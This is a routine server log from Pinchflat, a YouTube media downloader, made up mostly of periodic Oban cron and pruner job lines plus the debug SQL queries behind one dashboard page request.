{"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:15.092 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:45.094 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.574 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:15.096 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:45.098 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.575 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:15.100 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:45.102 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.576 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:15.104 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:45.106 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.577 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:15.108 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:45.110 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.578 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:15.112 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:45.114 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.579 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:15.116 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:45.118 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.580 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:15.120 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:45.122 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.581 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:15.124 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:45.126 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.582 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:15.128 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:45.130 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.583 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:15.132 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:45.134 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.584 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:15.136 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:45.138 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.585 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:15.141 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:45.143 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.586 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:15.145 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:45.147 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.587 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:15.149 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:45.151 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.588 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:15.153 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:45.155 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.589 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:15.157 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:45.159 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.590 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:15.161 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:45.163 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.591 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:15.165 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:45.167 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.592 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:15.169 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:45.171 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.593 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:15.173 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:45.175 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.594 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:15.177 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:45.179 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.595 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:15.181 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:45.183 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.596 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:15.185 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:45.187 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.597 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:15.189 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:45.191 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.598 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:15.193 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:45.195 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.599 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:15.196 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:45.199 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.600 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:15.201 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:45.203 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.601 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:15.205 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:45.207 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.602 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:15.209 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:45.211 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.603 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:15.213 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:45.215 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.604 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:15.217 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:45.219 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.605 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:15.221 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:45.223 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.606 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:15.225 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:45.227 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.607 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:15.229 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:45.231 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.608 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:15.233 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:45.235 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.609 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:15.237 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:45.239 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.610 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:15.241 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:45.243 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.611 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:15.245 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:45.247 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.612 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:15.249 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:45.251 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.613 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:15.253 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:45.255 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.614 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:15.257 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:45.259 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.615 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:15.261 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:45.263 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.616 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:15.265 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:45.267 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.617 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:15.269 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:45.271 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.618 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:15.273 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:32.617 [info] GET / 08:24:32.618 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 08:24:32.618 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1448.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:32.619 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1448.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 08:24:32.620 [debug] QUERY OK source="sources" db=0.2ms idle=1449.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 08:24:32.623 [debug] QUERY OK source="media_items" db=3.0ms idle=1137.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:24:32.624 [debug] QUERY OK source="media_items" db=0.4ms idle=139.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:24:32.624 [debug] QUERY OK source="settings" db=0.3ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:32.625 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:32.626 [debug] QUERY OK source="settings" db=0.3ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:32.628 [debug] QUERY OK source="tasks" db=0.4ms idle=4.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 08:24:32.629 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:24:32.631 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:24:32.632 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 4] 08:24:32.637 [debug] QUERY OK source="media_items" db=1.3ms idle=9.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 08:24:32.639 [debug] QUERY OK source="media_items" db=1.3ms idle=9.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:24:32.640 [debug] QUERY OK source="sources" db=0.4ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:24:32.644 [info] Sent 200 in 26ms 08:24:45.275 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.619 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:15.277 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:45.279 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.620 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:15.281 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:45.283 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.621 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:15.285 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:45.287 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.622 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:15.289 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:45.291 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.623 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:15.293 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:45.295 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.624 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:15.297 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:45.299 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.625 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:15.301 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:45.304 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.626 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:15.307 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:45.309 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.627 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:15.311 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:45.313 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.628 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:15.315 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:45.317 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.629 [info] 